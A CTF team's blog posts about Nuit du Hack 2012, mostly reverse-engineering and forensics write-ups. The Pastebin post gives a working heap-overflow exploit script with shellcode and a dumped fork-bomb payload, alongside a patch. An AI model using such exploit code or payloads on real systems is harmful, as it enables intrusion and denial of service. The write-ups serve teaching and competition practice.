To search


w3pwnz, therefore we are

Tag - ndh2k12

Entries feed Comments feed

Tuesday, July 3 2012 12:03

NDH2k12 - Debriefing


We just participated in the "Nuit du Hack" CTFs the two last weekends. CTFs, with a "s", because there was two of them : a private and a public CTF. The 23 june was the "Nuit du Hack" event, and it was originally planned that the two CTFs take place here, in the same time, but unfortunately the public CTF was reported to the next weekend because of technical issues.

* Private CTF :

This was an attack/defense CTF ! Each team (13 in total) had a server with a dozen of services to patch/protect/attack.
We successfully exploited some webapp, and a so called "pastebin" challenge (a RCE caused by an overflow in a log parsing program), which played an important role in this CTF as we'll see :)

Unfortunately for us, at some time of the night (~ 3h30), almost all teams lost access to their VM, and without really knowing what was the cause of this situation, the staff decided to prematurely stop the CTF. So after validating our preciously keeped flags (~ 20 :p) we finished at the 2nd place with 4250pts, just behind HackerDom with 4960pts. This is not a bad score, but this left us with a slight taste of biterness when we latter learned what really happened : a team actually launched a fork bomb on the pastebin service (him again !) shutting down all the unpatched teams (More information : here(EN), here(EN), here(EN), here(EN), here(FR), here(FR) and here)

Since the pastebin was the one causing so much trouble, we wrote a little write-up that you can find here :)


* Public CTF :

So the public challenge was reported to the next weekend, and lasted 48h. This time it was a "classic" CTF, with some challenges to solve in categories like WebApp, Crackme, Forensics, Stegano or Crypto.
This time we finished 1st, with a total of 13710 points, by solving 23 out of 28 challenges \o/
You can find a few write ups here :


NDH2k12 Write-up Pastebin

The first thing we have for this challenge, is a "pastebin-like" website, with possibility to create, display, and delete entries
All actions are logged in the "pastebin.log" file, and new pastes are created in files "data/".md5($title).

The second part, is a cron job running every minute, calling the binary "resources/parse" which parses the pastebin.log file and update "resources/stats.html" with the current number of pastes, the number of actions, logged attacks (xss, lfi, sqli, ...). This file is then displayed in the website's index.

We also notice that the flag is in "resources/functions.php".

Here is the code for creating new pastes :

$log = fopen('pastebin.log', 'a');
if(isset($_POST['title'], $_POST['text'], $_POST['time'])) {
    $name = md5($_POST['title']);
    $time = intval($_POST['time']);
    file_put_contents("data/$name", $_POST['title']."\x00".$_POST['text']);
    $len = strlen($_POST['text']);
    fwrite($log, $time.' + '.$len.' '.$name.' '.$_POST['title']."\n");
    header("Location: ?id=$name");

So a log entry has the following format :

timestamp + post_length md5_title title\n

Now the vulnerability. It's located in the "get_parse" routine of the parse binary :

void *__cdecl get_paste(int inputfd)
  char req_type; // [sp+2Bh] [bp-Dh]@1
  void *buffer; // [sp+2Ch] [bp-Ch]@1
  buffer = malloc(0x12Cu);
  __isoc99_fscanf(inputfd, "%d %c %d", buffer, &req_type, (char *)buffer + 292);
  if ( *(_DWORD *)buffer )
    switch ( req_type )
      case '-':
        *((_DWORD *)buffer + 74) = handle_del;
      case '?':
        *((_DWORD *)buffer + 74) = handle_query;
      case '+':
        *((_DWORD *)buffer + 74) = handle_add;
        buffer = 0;
    __isoc99_fscanf(inputfd, "%32s %[^\n]s\n", (char *)buffer + 259, (char *)buffer + 4);
    buffer = 0;
  return buffer;

As we can see a buffer is allocated to hold the current paste's information. The first fscanf writes the timestamp at the beginning of the buffer (offset +0), the type in a separated variable (req_type) and the title's length at the end of the buffer (offset +292).
A handler pointer is then placed at buffer+74*4 (offset +296), and finally the second fscanf copies the title just after the timestamp (offset +4) without length control.
So the title (that we control) just has to be longer than 292 bytes to overflow, and overwrite the handler pointer, causing a segfault :

~/vhosts/ndhpastebin$ cat pastebin.log 
1340853859 + 2 c73301b7b71679067b02cff4cdc5e700 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb
1340853866 ? 0 c73301b7b71679067b02cff4cdc5e700 c73301b7b71679067b02cff4cdc5e700
~/vhosts/ndhpastebin$ ./resources/parse pastebin.log aaa
Erreur de segmentation (core dumped)
~/vhosts/ndhpastebin$ gdb resources/parse core
Core was generated by `./resources/parse pastebin.log aaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x62626262 in ?? ()
(gdb) x/16wx $eax
0x8d582d8:        0x4febce63        0x61616161        0x61616161        0x61616161
0x8d582e8:        0x61616161        0x61616161        0x61616161        0x61616161
0x8d582f8:        0x61616161        0x61616161        0x61616161        0x61616161
0x8d58308:        0x61616161        0x61616161        0x61616161        0x61616161

We have overwritten EIP, and at the time of the crash, EAX points to the beginning of the buffer (timestamp + title).
The heap being executable, two "call eax" allow us to gain execution by directly jumping into our buffer :

~/vhosts/ndhpastebin$ objdump -D resources/parse | grep call | grep eax
 80486c8:        ff 14 85 8c a0 04 08         call   *0x804a08c(,%eax,4)
 804870f:        ff d0                        call   *%eax
 8048e0b:        ff d0                        call   *%eax

The timestamp is also not a problem, since it is also supplied by the user (variable $_POST['time']). So we'll just submit a timestamp equals to 0x90909090, then our shellcode in the title (padded to 292 bytes) followed by the address of one of the previous "call eax". And that's it :)
As we are in an attack/defense CTF, reverse-shells may be blocked, or monitored, so we'll use a shellcode to copy the wanted flag into an accessible location (we'll of course make sure to remove this file afterwards...)

This vulnerability has also been used by one of the team (Les_Pas_Contents) to execute a persistent fork-bomb, causing a lot of teams to loose access to their server, and an early end to the CTF...(thanks delroth for the attack dump). Here's the attack, in the 4th packet from :

0040  18 66 50 4f 53 54 20 2f 20 48 54 54 50 2f 31 2e   .fPOST / HTTP/1.
0050  31 0d 0a 48 6f 73 74 3a 20 6c 6f 63 61 6c 68 6f   1..Host: localho
0060  73 74 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65   st..Content-Type
0070  3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d   : application/x-
0080  77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f   www-form-urlenco
0090  64 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e   ded..Content-Len
00a0  67 74 68 3a 20 39 31 37 0d 0a 0d 0a 74 69 74 6c   gth: 917....titl
00b0  65 3d 25 36 61 25 30 32 25 35 38 25 63 64 25 38   e=%6a%02%58%cd%8
00c0  30 25 65 62 25 66 39 25 63 63 25 34 32 25 34 32   0%eb%f9%cc%42%42

Disassembled code:

00000000  6A02              push byte +0x2
00000002  58                pop eax
00000003  CD80              int 0x80           ; fork()
00000005  EBF9              jmp short 0x0      ; infinite loop

How to patch the vulnerability :
A quick and dirty fix consists in directly edit the format string of the second fscanf in the parse binary, to set a length limit for the title :
(here we replaced "[\n]" by "0290")

__isoc99_fscanf(inputfd, "%32s %0290s\n", (char *)buffer + 259, (char *)buffer + 4);

Exploit :

import urllib2, sys, struct
# /bin/cp /var/www/pastebin/resources/functions.php /var/www/pastebin/nawak.txt
shellcode = "\x31\xc0\x66\xb8\x10\x10\x29\xc4\x89\xe1\x29\xc1\x31\xc0\x89\x01\x31\xc0\xb0\x74\xc1\xe0\x08\xb0\x78\xc1\xe0\x08\xb0\x74\x50\x68\x77\x61\x6b\x2e\x68\x6e\x2f\x6e\x61\x68\x74\x65\x62\x69\x68\x2f\x70\x61\x73\x68\x2f\x77\x77\x77\x68\x2f\x76\x61\x72\x49\x49\x49\x49\x89\x21\x31\xc0\xb0\x70\x50\x68\x73\x2e\x70\x68\x68\x74\x69\x6f\x6e\x68\x66\x75\x6e\x63\x68\x63\x65\x73\x2f\x68\x73\x6f\x75\x72\x68\x6e\x2f\x72\x65\x68\x74\x65\x62\x69\x68\x2f\x70\x61\x73\x68\x2f\x77\x77\x77\x68\x2f\x76\x61\x72\x49\x49\x49\x49\x89\x21\x31\xc0\xb0\x70\xc1\xe0\x08\xb0\x63\xc1\xe0\x08\xb0\x2f\x50\x68\x2f\x62\x69\x6e\x49\x49\x49\x49\x89\x21\x89\xe3\x31\xc0\x50\x89\xe2\x31\xc0\xb0\x0b\xcd\x80"
addr =  "08048e0b".decode("hex")[::-1] # call eax
stamp = struct.unpack("<i","\x90"*4)
title = shellcode.rjust(292,"\x90")
title += addr
if len(sys.argv)<2:
    print ("Usage: ", argv[0], " url")
url = sys.argv[1]
def exploit():
    p =urllib2.urlopen(url, "title=" + urllib2.quote(title) + "&time=" + str(stamp) + "&text=bollocks")

Monday, July 2 2012 21:08

NDH2k12-wargame Write-up What the file ?

Name What the file ?
Score 1000
Content While doing some forensics, an analyst found a weird file. Please help him.

We have this file unknown.bin

$ file unknown.bin.png
unknown.bin.png: PNG image data, CORRUPTED
$ pngcheck -vt7f unknown.bin
File: unknown.bin (1179008 bytes)
File is CORRUPTED.  It seems to have suffered EOL conversion.
It was probably transmitted in text mode.

Ok, it's a corrupted PNG that we have to patch.

We realized that the lengths and the chunks' names are affected by several alterations.

We begun by correcting those names and lengths for each chunk.

A quick reminder from the RFC 2083 about the chunk layout :

	A 4-byte unsigned integer giving the number of bytes in the
	chunk's data field. The length counts only the data field, not
	itself, the chunk type code, or the CRC.  Zero is a valid
	length.  Although encoders and decoders should treat the length
	as unsigned, its value must not exceed (2^31)-1 bytes.

Chunk Type
	A 4-byte chunk type code.  For convenience in description and
	in examining PNG files, type codes are restricted to consist of
	uppercase and lowercase ASCII letters (A-Z and a-z, or 65-90
	and 97-122 decimal).  However, encoders and decoders must treat
	the codes as fixed binary values, not character strings.  For
	example, it would not be correct to represent the type code
	IDAT by the EBCDIC equivalents of those letters.  Additional
	naming conventions for chunk types are discussed in the next

Chunk Data
	The data bytes appropriate to the chunk type, if any.  This
	field can be of zero length.

	A 4-byte CRC (Cyclic Redundancy Check) calculated on the
	preceding bytes in the chunk, including the chunk type code and
	chunk data fields, but not including the length field. The CRC
	is always present, even for chunks containing no data.  See CRC
	algorithm (Section 3.4).

No apparent problem for IHDR, sBIT, pHYs, tEXt(Software) and IEND chunks.

For IDAT chunks, we can understand that they're 8192 bytes long.
We scripted the thing to patch the file from offset 0x6A each 8204 bytes (8192 + 4 + 4 + 4) to 00 00 20 00 49 44 41 54 (Length + "IDAT").

$ pngcheck -vt7f unknown.bin.png
  chunk IDAT at offset 0x11c717, length 8192
  chunk IDAT at offset 0x11e723, length 8192:  EOF while reading data

We almost got a proper and genuine png file from pngcheck's point of view, except the latest IDAT chunk. This is normal, as this chunk is the latest one and isn't 8192 bytes long.

We fixed this by correcting with that value : size until the end of file - IEND chunk (12 bytes) - checksum (4 bytes) = 5705 bytes (0x1649).

$ pngcheck -vt7f unknown.bin.png
  chunk IDAT at offset 0x11c717, length 8192
  chunk IDAT at offset 0x11e723, length 5705
  CRC error in chunk IDAT (actual 66b9b445, should be 68cf7786)
  chunk IEND at offset 0x11fd78, length 0

Weird, the checksum is not correct, unlike all the IDAT checksums so far...We'll see later.

As the image can be open with several editors, some others won't because of the latest chunk's checksum. Nevertheless, we can see our old Chuck Norris and only half of the flag.



So at this time we have the first part of the flag...

The wrong checksum of the last IDAT is probably a good clue to get the second part of the flag.
At the end of the file, we can see above IEND chunk a ...zTX3..., maybe a zTXt chunk ? Let's give it a try...

The length will be 27 bytess, 0x1B.
We also changed the length of the last IDAT chunk, 5705 - 27 - 12 = 5666 that's to say 0x1622.

Excellent, this time no more problem with checksums.

$ pngcheck -vt7f unknown.bin.png
  chunk IDAT at offset 0x11e723, length 5666
  chunk zTXt at offset 0x11fd51, length 27:   keyword has control characters, keyword: x\DA\D3\D3C\05\96\A9\06\C9\16\A6I\86\86i\89I\A6\A6\C9f
    (compressed zTXt text)
  zTXt chunk contains one or more control characters
  chunk IEND at offset 0x11fd78, length 0

Then let's decompress the string with zlib.

import zlib
print zlib.decompress("78 DA D3 D3 43 05 96 A9 06 C9 16 A6 49 86 86 69 89 49 A6 A6 C9 66 00 6D 17 07 6F".replace(" ","").decode("hex"))


w3ll done

NDH2k12-wargame Write-up CrackMe Android

File : NDH.apk

We were asked to reverse an Android application, coming as an APK file.

The first move was to get the Java source of that application with dex2jar in order to decompile the APK into a plain JAR file.

If you ever want more information about this step, check out that link

Once we have the JAR file, we opened it with JD-GUI and located the main Activity, that is to say the entry point of an application.

Here's the code :

import android.content.DialogInterface;
import android.content.DialogInterface.OnClickListener;
import android.os.Bundle;
import android.telephony.TelephonyManager;
import android.text.Editable;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TableLayout;
import android.widget.TextView;
public class NDHActivity extends Activity
  private native String print(String paramString);
  public void onCreate(Bundle paramBundle)
    TextView localTextView = new TextView(this);
    localTextView.setText("Enter the code to activate this software :");
    AlertDialog.Builder localBuilder1 = new AlertDialog.Builder(this);
    AlertDialog.Builder localBuilder2 = localBuilder1.setCancelable(false);
    1 local1 = new DialogInterface.OnClickListener()
      public void onClick(DialogInterface paramDialogInterface, int paramInt)
    AlertDialog.Builder localBuilder3 = localBuilder1.setPositiveButton("OK", local1);
    EditText localEditText = new EditText(this);
    Button localButton = new Button(this);
    TelephonyManager localTelephonyManager = (TelephonyManager)getSystemService("phone");
    2 local2 = new View.OnClickListener(localTelephonyManager, localBuilder1, localEditText)
      public void onClick(View paramView)
        if (Integer.decode(this.val$test.getDeviceId()).intValue() == 0)
          AlertDialog.Builder localBuilder1 = this.val$builder.setMessage("Bad Password");
        while (true)
          AlertDialog.Builder localBuilder2 = this.val$builder;
          NDHActivity localNDHActivity = NDHActivity.this;
          String str1 = this.val$tv2.getText().toString();
          String str2 = localNDHActivity.print(str1);
          AlertDialog.Builder localBuilder3 = localBuilder2.setMessage(str2);
    TableLayout localTableLayout = new TableLayout(this);

Before going any further with that code, we wanted it to be running on a Android emulator and we had to patch few things.

This time, we completely disassembled the APK with apktool. This tool is BakSmaling (disassembling) the compiled code whose assembly representation is called Smali and unpacking all the files contained in an APK (certificates, libs etc.).
It also disassembles the graphical resources files and the AndroidManifest.xml file, which lists all the required settings for an application to run (platform version, permissions etc.).

android@honeynet:~/tools/apktool$ apktool d ~/ndh/NDH.apk ~/ndh/NDH_Decomp
I: Baksmaling...
I: Loading resource table...
I: Loaded.
I: Loading resource table from file: /home/android/apktool/framework/1.apk
I: Loaded.
I: Decoding file-resources...
I: Decoding values*/* XMLs...
I: Done.
I: Copying assets and libs...

Here's the AndroidManifest.xml :

<?xml version="1.0" encoding="utf-8"?>
<manifest android:versionCode="1" android:versionName="1.0" package=""
    <uses-sdk android:minSdkVersion="15" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <application android:label="@string/app_name" android:icon="@drawable/ndh">
        <activity android:label="@string/app_name" android:name=".NDHActivity">
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />

That manifest requires Android 4.0.3 (API 15) as minimum SDK version. Having a 2.3.3 (API 10) emulator, we just removed that line in the Manifest.

Now, let's go back into the code.

Just by reading the source, we're aware that this application graphically consists of a EditText (a textbox) and a Button. So basically, we have to enter an activation code and hit the button for it to be checked.

Once hit, the first check is :

if (Integer.decode(this.val$test.getDeviceId()).intValue() == 0)
	AlertDialog.Builder localBuilder1 = this.val$builder.setMessage("Bad Password");

To be read as : if the IMEI of the terminal equals 0, then always display "Bad Password", whatever activation code you typed (even the good one :)).

As the emulated terminals have no real IMEI, this value is set to 0. This first check is actually an anti-emulator feature :)

In order to remove that check, we had to directly patch the Smali code. Here's the original Smali section, in the NDH_Decomp/smali/com/app/ndh/NDHActivity$2.smali file :

iget-object v1, p0, Lcom/app/ndh/NDHActivity$2;->val$test:Landroid/telephony/TelephonyManager;
; Grab the terminal's IMEI
invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String; 
move-result-object v1
; Decode it as an integer value
invoke-static {v1}, Ljava/lang/Integer;->decode(Ljava/lang/String;)Ljava/lang/Integer; 
move-result-object v1
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
move-result v1
; if (v1 == IMEI) != 0 then jump to the cond_0 label (the legit "while(true){}" section), else print "Bad Password"
if-nez v1, :cond_0  
iget-object v1, p0, Lcom/app/ndh/NDHActivity$2;->val$builder:Landroid/app/AlertDialog$Builder;
const-string v2, "Bad Password"

We simply transformed the conditional jump "if-nez v1, :cond_0" to a unconditional jump, that's to say : "goto :cond_0"

Having both the Smali code and the Manifest patched, we rebuilt the application with apktool :

android@honeynet:~/tools/apktool$ apktool b ~/ndh/NDH_Decomp ~/ndh/New_NDH.apk
I: Checking whether sources has changed...
I: Checking whether resources has changed...
I: Building apk file...

Still, we needed to sign the application, as the emulator won't install an unsigned APK. Here comes the signing command, with a self-signed certificate :

android@honeynet:~/tools/apktool$ jarsigner -verbose -sigalg MD5withRSA -digestalg SHA1 -keystore /home/android/my-release-key.keystore -storepass my_pass ~/ndh/New_NDH.apk maz
  adding: META-INF/MAZ.SF
  adding: META-INF/MAZ.RSA
  signing: lib/armeabi/
  signing: res/drawable-hdpi/ic_launcher.png
  signing: res/drawable-hdpi/ndh.png
  signing: res/drawable-ldpi/ic_launcher.png
  signing: res/drawable-ldpi/ndh.png
  signing: res/drawable-mdpi/ic_launcher.png
  signing: res/drawable-mdpi/ndh.png
  signing: res/drawable-xhdpi/ic_launcher.png
  signing: res/drawable-xhdpi/ndh.png
  signing: res/layout/main.xml
  signing: AndroidManifest.xml
  signing: classes.dex
  signing: resources.arsc

The patched APK can be found here. So now we can install and execute that application on an emulator.


Let's reverse that crackme ! Going back into the code, we have those 3 code sections:

private native String print(String paramString);
NDHActivity localNDHActivity = NDHActivity.this;
String str1 = this.val$tv2.getText().toString();
String str2 = localNDHActivity.print(str1);
AlertDialog.Builder localBuilder3 = localBuilder2.setMessage(str2);

While the first instruction loads a native library, a .so file written in C and compiled with the NDK (Native Development Kit), the second stands for the declaration of the native method, here called "print".

The last part indicates that the text from the EditText element is passed to the native "print" method and its result is then displayed in a popup.

All in all, the validation routine is contained in that lib.

Thus, the next step was to reverse the "" file.
As said, apktool unpacked every file in the APK.

android@honeynet:~/ndh/NDH_Decomp$ file lib/armeabi/
lib/armeabi/ ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked, stripped

Let's start by opening libverifyPass in IDA.
In the "Strings" window, we only have two strings : "Bad password" & "Good password, this is the flag too".
Those two strings are only referenced in one function : "Java_com_app_ndh_NDHActivity_print", which is the function called from the Java source.
Here is a global view of this function :


We can split it in a few basic blocks :

  • purple : initialization
  • yellow : main loop
  • blue : final tests
  • red : fail (references "bad password")
  • green : success (references "Good password")

Before going any further, let's see a few specific details of the JNI (Java Native Interface) :

.text:00000F68                 STR     R0, [SP,#0x140+ptr_vtable_like]
.text:00000F6A                 STR     R1, [SP,#0x140+not_used]
.text:00000F6C                 STR     R2, [SP,#0x140+user_string]

We can see in the above snippet of the initialization block, that the function takes 3 parameters (in R0-R2) that are immediatly saved in local variables on the stack. But the Java source only use one argument, so the first two must be implicit arguments from the JNI.

The second is unused, but the first is used like a pointer on a vtable in C++, containing some function pointers used to do virtual calls, as in the following snippet :

.text:00000F78                 LDR     R2, [R3]								; Address of the "vtable-like" in R2
.text:00000F7A                 MOVS    R3, 0x2A4							; Offset = 0x2A4
.text:00000F7E                 LDR     R3, [R2,R3]							; Address of the "virtual function"
.text:00000F80                 LDR     R1, [SP,#0x140+ptr_vtable_like]
.text:00000F82                 LDR     R2, [SP,#0x140+user_string]
.text:00000F84                 MOVS    R0, R1								; Arg 1 -> our pointer
.text:00000F86                 MOVS    R1, R2 								; Arg 2 -> our string
.text:00000F88                 MOVS    R2, #0 							; Arg 3 
.text:00000F8A                 BLX     R3									; "virtual call"

As explained in the wiki page, this is how the JNI works. All functions take a JNIEnv pointer as first parameter, which is a structure containing pointers to all the required method to interface with the JVM :

/* Example of a JNI function, taking a JNIEnv pointer as first parameter */
JNIEXPORT void JNICALL Java_ClassName_MethodName(JNIEnv *env, jobject obj, jstring javaString)
	/* Example of a function call, using a function pointer in JNIEnv */
	const char *nativeString = (*env)->GetStringUTFChars(env, javaString, 0);

Our program use this type of call 3 times, with the indexes 0x2A4, 0x290 and 0x29C. To retreive the names of the corresponding fonctions, we can use directly the header file jni.h or this documentation which contains the indexes in the JNIEnv interface function table :

0x24A / 4 = 169 --> const jbyte* GetStringUTFChars(JNIEnv *env, jstring string, jboolean *isCopy);
0x290 / 4 = 164 --> jsize GetStringLength(JNIEnv *env, jstring string);
0x29C / 4 = 167 --> jstring NewStringUTF(JNIEnv *env, const char *bytes);

We can now analyse our routine with a full knowledge of which function it's using :)
Starting with the end (the blue "final tests" block), we can see that the block doesn't really test anything on the supplied string, except that the result of a previous call to "GetStringLength" must equals 0xC.
Besides, there's just some really basic anti debug trick here : a call to difftime() is made, with the return values of two calls to time() before and after the main loop, and the result is tested against a hardcoded double value, that it must not exeed (R2=0x00000000 R3=0x3FF00000, so our maximum value is 1.0, but we really don' care since we are doing this in static analysis :p)

So let's skip to the interesting part. In the initialization block, two counters are set to 0, and a call to GetStringLength is made (but not directly tested).

.text:00000FFE                 MOVS    R3, #0
.text:00001000                 STR     R3, [SP,#0x140+counter1]
.text:00001002                 MOVS    R3, #0
.text:00001004                 STR     R3, [SP,#0x140+counter2]

More important, some structures in the .rodata section are loaded into the stack, as we can see in the following snippet :

.text:00000F9A                 ADD     R3, SP, #0x140+loaded_27E0		; R3 = stack buffer
.text:00000F9C                 LDR     R2, =(dword_27E0 - 0xFA2)			; R2 = rodata buffer
.text:00000F9E                 ADD     R2, PC
.text:00000FA0                 LDMIA   R2!, {R0,R1,R5}					; Load from R2 into multiple registers (R0, R1 and R5), and increment R2
.text:00000FA2                 STMIA   R3!, {R0,R1,R5}					; Store to R3 from multiple registers, and increment R3
.text:00000FA4                 LDMIA   R2!, {R0,R1,R5}
.text:00000FA6                 STMIA   R3!, {R0,R1,R5}
.text:00000FA8                 LDMIA   R2!, {R0,R1,R5}
.text:00000FAA                 STMIA   R3!, {R0,R1,R5}
.text:00000FAC                 LDMIA   R2!, {R0,R1,R5}
.text:00000FAE                 STMIA   R3!, {R0,R1,R5}

Using R0, R1, and R5, and repeating LDMIA/STMIA 4 times, we can see that this code loads 12 dwords. And there are 5 blocks like this one. The last action of the initialization block is to load the first char of our string somewhere in the stack (SP+0x20+0xFF) :

.text:00000FF2                 MOV     R3, SP 						; stack
.text:00000FF4                 ADDS    R3, #0x20 					
.text:00000FF6                 ADDS    R3, #0xFF 					
.text:00000FF8                 LDR     R2, [SP,#0x140+c_string]		; our string, result of GetStringUTFChars
.text:00000FFA                 LDRB    R2, [R2] 					; first char
.text:00000FFC                 STRB    R2, [R3] 					; store it !

Now let's finish this crackme with the main loop :

It first exits the loop to the final block if the current character (stored in SP+0x20+0xFF) is zero, this is our stop condition. After entering the loop, it also exits and prints "bad password" if the counter1 is greater than 0xC. Otherwise, (this part is the interesting one) it computes a xor between two values in the previously loaded on the stack data, and compares the result with the current password :

.text:00001040                 LDR     R2, [SP,#0x140+counter1]			
.text:00001042                 ADD     R3, SP, #0x140+loaded_2810		
.text:00001044                 LSLS    R2, R2, #2 						; R2 = counter1 * 4
.text:00001046                 LDR     R2, [R2,R3] 						; R2 = loaded_2810[ counter1 * 4 ]
.text:00001048                 LDR     R1, [SP,#0x140+counter1] 		
.text:0000104A                 ADD     R3, SP, #0x140+loaded_2840		
.text:0000104C                 LSLS    R1, R1, #2 						; R1 = counter1 * 4
.text:0000104E                 LDR     R3, [R1,R3] 						; R3 = loaded_2840[ counter1 * 4 ]
.text:00001050                 EORS    R2, R3 							; R2 = loaded_2810[ counter1 * 4 ] ^ loaded_2840[ counter1 * 4 ]
.text:00001052                 LDR     R3, [SP,#0x140+counter1] 		
.text:00001054                 LDR     R1, [SP,#0x140+c_string]
.text:00001056                 ADDS    R3, R1, R3
.text:00001058                 LDRB    R3, [R3] 						; R3 = c_string[ counter1 ]
.text:0000105A                 CMP     R2, R3 							; compare R2 / R3

So this is it :)
The last block of the function doesn't do anything really important (increment the counters, update the current char tested at the beginning of the loop, do some xor on some previously loaded on the stack but unused data, ...)

We now have to dump the 2*12 dwords in the .rodata section, at 0x2810 and 0x2840, and xor them to obtain the password :

>>> a = [0x52,0x1A,0x09,0x7B,0x4B,0x5C,0x20,0x72,0x10,0x67,0x5E,0x49]
>>> b = [0x01,0x4E,0x4C,0x3A,0x00,0x08,0x14,0x20,0x44,0x53,0x0C,0x0C]
>>> "".join( [ chr(a[i] ^ b[i]) for i in range(len(a)) ] )

Pwned !


Sunday, March 25 2012 23:33

NDH2k12 Prequals - New email from our contact - strange binary file #2

From: Jessica <>
To: w3pwnz <>
Subject: New email from our contact
Attachments : executable2.ndh
Thank you again for your help, our technical staff has a pretty good overview
of the new device designed by Sciteek. Your account will be credited with $500.

You did work hard enough to impress me, your help is still more than welcome,
you will get nice rewards. Our anonymous guy managed to get access to another
bunch of files. Here is one of his emails:

Hi there, see attached file for more information. It was found on

Maybe you can get further than him by exploiting this website.
We also need to get
as much information as possible about the file itself. If you succeed, you will
be rewarded with $2500 for the ndh file and $1000 for the website. Please use
"Sciteek shortener" and "strange binary file #2" titles.


This challenge was another crackme. I called it "VMception", and it was a little harder than the other one =)

First we noticed the string "password is wrong:" (0x8737), and another a little stranger "Unhandled exception occured during execution. Exiting" (0x874b) and search for their references :

0x85f6: movl r0, #0x874b		; <-- unhandled exception
0x85fb: call 0xfb7a
0x85ff: end
0x8672: movl r0, #0x8737		; <-- password is wrong
0x8677: call 0xfafe
0x867b: end

The entry point of the crackme is a "jmpl 0x0624", corresponding to the following routine :

0x8627: movl r0, #0x867c		; <-- source = 0x867c
0x862c: movl r1, #0x86e8
0x8631: sub r1, r0			; <-- 0x86e8 - 0x867c = 0x6C = 108
0x8635: call 0xfc64			; --> 0x829d (memcpy_to_0x000a)
0x8639: movl r0, #0x0000	
0x863e: movl r1, #0x0035
0x8643: movl r2, #0x0000
0x8648: movl r3, #0x0000
0x864d: call 0xfc67
0x8651: call 0xffab			; --> 0x8600 (ask password)
0x8655: call 0xfed8			; --> 0x8531 (VMception)
0x8659: movl r0, #0x0000		; <-- 0x0000 = buffer password
0x865e: call 0xfca9	
0x8662: test r0, r0
0x8665: jz 0x000a			; --> goto password_is_wrong if r0 = 0
0x8668: movl r0, #0x872a
0x866d: call 0xfb90			; --> pwned \o/ 
0x8671: end

The first action is to copy 0x6c bytes of data from 0x867c to 0x000a :

niklos@box:~/ndh/jessica4# vmndh -file executable2.ndh -debug
[Console]#> x/x 0x867c:0x6c
0x867c: 0a 06 06 00 00 0b 02 07 4d 06 00 07 02 07 78 07
0x868c: 00 07 09 02 02 07 61 06 01 07 02 07 02 07 01 07
0x869c: 09 02 02 07 72 06 02 07 02 07 43 07 02 07 09 02
0x86ac: 02 07 31 06 03 07 02 07 45 07 03 07 09 02 02 07
0x86bc: 30 06 04 07 02 07 03 07 04 07 09 02 02 07 4c 06
0x86cc: 05 07 02 07 7f 07 05 07 09 02 02 07 64 06 06 07
0x86dc: 02 07 0f 07 06 07 09 02 02 00 01 0b

So far, we've got no idea of what the hell it could be, except that's probably vicious... We need to go deeper :)
Then, a 8bytes password is read, and stored in 0x0000 (which is quite surprising when you forget that you're in a very simple virtual machine). Next is a quite big routine, but quite easily understandable :

0x8531: push r2
0x8534: call 0xfdf9			; --> 0x8331 (code = get_next_ element)
0x8538: cmpb r0, #11		; --> code == 0xb
0x853c: jnz 0x0003
0x853f: jmpl 0x008f 			; --> goto 0x85d1 (BREAK)
0x8542: cmpb r0, #01		; --> code == 0x01		
0x8546: jnz 0x0007
0x8549: call 0xfeec
0x854d: jmpl 0xffe4
0x8550: cmpb r0, #02		; --> code == 0x2
0x8554: jnz 0x0007
0x8557: call 0xff0e
0x855b: jmpl 0xffd6			; --> loop
0x85c0: cmpb r0, #0a			; --> code == 0xa
0x85c4: jnz 0x0007
0x85c7: call 0xff5d
0x85cb: jmpl 0xff66			; --> loop
0x85ce: jmpl 0x0025			; --> 0x85f6 (unhandled_exception)
.label BREAK:
0x85f5: ret

First, this routine get an opcode from the buffer we previously copied in 0x000a, by calling 0x8331. Then, there's a switch/case test on this code, with a registered action for each from 0x00 to 0x0a, and 0x0b is the code signifying the end of the routine.

We now have a better understanding of the crackme : VMception : a VM inside a VM, and the buffer in 0x000a contains our program (we already see that most bytes are in [0x0 - 0xa] and it ends by 0xb.

Now comes the fun part when you trace the program opcode by opcode to understand the corresponding subroutines...
Here is what you can say then :

  • The password is actually 7bytes long, since the 8th byte is overitten (by a value used to check a byte of the password btw)
  • The password is checked one char at the time, and a single check use several opcodes
  • Opcodes used to do a single check are : 0x2 (routine 0x8469) 0x6 (routine 0x83a4), 0x7 (routine 0x8495), and 0x9 (routine 0x84fe)
  • The program-counter is stored at 0x9 (just before the program itself)

Let's check the subroutines of opcodes 0x02, 0x6, 0x7 and 0x9, starting with 0x2 :

0x8472: call 0xfebb		; --> 0x8331  (get_next_element = always 7)
0x8476: mov r1, r0	
0x847a:  call 0xfeb3		; --> 0x8331 (get_next_element = X, a value outside [0,a], like 0x4d, 0x78, ...)
0x847e: mov r2, r0
0x8482: mov r0, r1
0x8486: mov r1, r2
0x848a: call 0xfe90		; --> 0x831e (write_r0_at_r1 : writes the )
0x8494: ret

So this routine retrieves a value that is not an opcode, and stores it at 0x7.
Now 0x6 :

0x83b0: call 0xff7d		; --> 0x8331 (get_next_element = index i in the password of the char to be tested)
0x83b4: mov r3, r0
0x83b8: call 0xff75		; --> 0x8331 (get_next_ element = always 7)
0x83bc: call 0xff4b		; --> 0x830b (return *R0 == get [0x07])
0x83c0: mov r2, r0
0x83c4: mov r0, r3
